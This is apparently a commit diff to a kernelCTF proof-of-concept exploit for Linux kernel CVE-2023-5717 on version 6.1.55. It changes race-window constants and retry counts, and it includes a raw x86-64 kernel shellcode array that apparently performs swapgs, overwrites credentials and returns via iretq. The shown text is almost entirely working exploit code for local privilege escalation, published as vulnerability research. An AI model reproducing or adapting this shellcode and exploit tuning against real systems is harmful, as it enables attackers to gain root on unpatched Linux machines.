Testing

Author: msh1307

pocs/linux/kernelctf/CVE-2023-5717_mitigation/exploit/mitigation-v3b-6.1.55/exploit

@@ -29,16 +29,13 @@
 #include <signal.h>
 
 #define MIN 60000
-#define MAX 71000
-
-// #define MIN 79000
-// #define MAX 96000
+#define MAX 72000
 
 #define SIBLINGS_MAX 1024 // about 0x4000 ~
 #define CPU_A 1 // main cpu
 #define CPU_B 0
-#define MAX_TRY 1
-#define TRY_PER_ITER 1024
+#define MAX_TRY 4096
+#define TRY_PER_ITER 300
 // TOTAL_ITER = MAX_TRY * TRY_PER_ITER
 
 char shellcode[] = "\x0f\x01\xf8\x65\x4c\x8b\x24\x25\xc0\x0c\x02\x00\x4d\x8b\xb4\x24\x48\x02\x00\x00\x49\x81\xee\x30\xc0\x1e\x00\x4d\x89\xf0\x48\xc7\xc7\x01\x00\x00\x00\x4c\x89\xc0\x48\x05\x50\xde\x1b\x00\x41\x54\x41\x50\xff\xd0\x48\x89\xc3\x41\x58\x41\x5c\x4c\x89\xc0\x48\x05\x00\x69\xa7\x02\x48\x89\xc7\x48\x89\xbb\x38\x08\x00\x00\x49\x89\xbc\x24\x38\x08\x00\x00\x4c\x89\xc0\x48\x05\x40\x6b\xa7\x02\x48\x89\xc7\x49\x89\xbc\x24\xd8\x07\x00\x00\x0f\x01\xf8\x48\xcf";